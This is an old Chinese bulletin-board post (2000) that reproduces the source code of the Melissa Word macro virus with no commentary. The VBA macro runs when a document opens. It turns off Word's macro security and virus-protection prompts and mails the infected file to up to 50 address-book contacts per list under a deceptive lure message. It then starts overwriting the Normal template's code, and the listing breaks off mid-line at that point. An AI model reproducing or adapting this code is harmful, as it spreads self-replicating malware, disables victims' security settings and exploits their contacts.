computer 版 (精华区)

发信人: Aug (如风~冻死了~), 信区: network
标  题: “美丽杀手”的源代码
发信站: 听涛站 (Fri Sep  8 02:24:48 2000), 转信

Private Sub Document_Open() 

On Error Resume Next 

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Off 

ice\9.0\Word\Security", "Level") <> "" Then 

　　 CommandBars("Macro").Controls("Security...").Enabled = False 

　　 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\O 

ffice\9.0\Word\Security", "Level") = 1& 

Else 

　　 CommandBars("Tools").Controls("Macro").Enabled = False 

　　 Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -1): 

 Options.SaveNormalPrompt = (1 - 1) 

End If 

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 

Set UngaDasOutlook = CreateObject("Outlook.Application") 

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Off 

ice\", "Melissa?") <> "... by Kwyjibo" Then 

　　 If UngaDasOutlook = "Outlook" Then 

　　　　 DasMapiName.Logon "profile", "password" 

　　　　 For y = 1 To DasMapiName.AddressLists.Count 

　　　　　　　 Set AddyBook = DasMapiName.AddressLists(y) 

　　　　　　　 x = 1 

　　　　　　　 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) 

　　　　　　　 For oo = 1 To AddyBook.AddressEntries.Count 

　　　　　　　　　 Peep = AddyBook.AddressEntries(x) 

　　　　　　　　　 BreakUmOffASlice.Recipients.Add Peep 

　　　　　　　　　 x = x + 1 

　　　　　　　　　 If x > 50 Then oo = AddyBook.AddressEntries.Count 

　　　　　　　 Next oo 

　　　　　　　 BreakUmOffASlice.Subject = "Important Message From " & Applic 

ation.UserName 

　　　　　　　 BreakUmOffASlice.Body = "Here is that document you asked for 

... don't show anyone else ;-)" 

　　　　　　　 BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 

　　　　　　　 BreakUmOffASlice.Send 

　　　　　　　 Peep = "" 

　　　　 Next y 

　　　　 DasMapiName.Logoff 

　　 End If 

　　 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\O 

ffice\", "Melissa?") = "... by Kwyjibo" 

End If 

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) 

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) 

NTCL = NTI1.CodeModule.CountOfLines 

ADCL = ADI1.CodeModule.CountOfLines 

BGN = 2 

If ADI1.Name <> "Melissa" Then 

　　 If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL 

　　 Set ToInfect = ADI1 

　　 ADI1.Name = "Melissa" 

　　 DoAD = True 

End If 

If NTI1.Name <> "Melissa" Then 

　　 If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL 

　　 Set ToInfect = N 


--
    从今不问江湖事,琴剑相伴自逍遥

※ 来源:．听涛站 cces.net．[FROM: 匿名天使的家]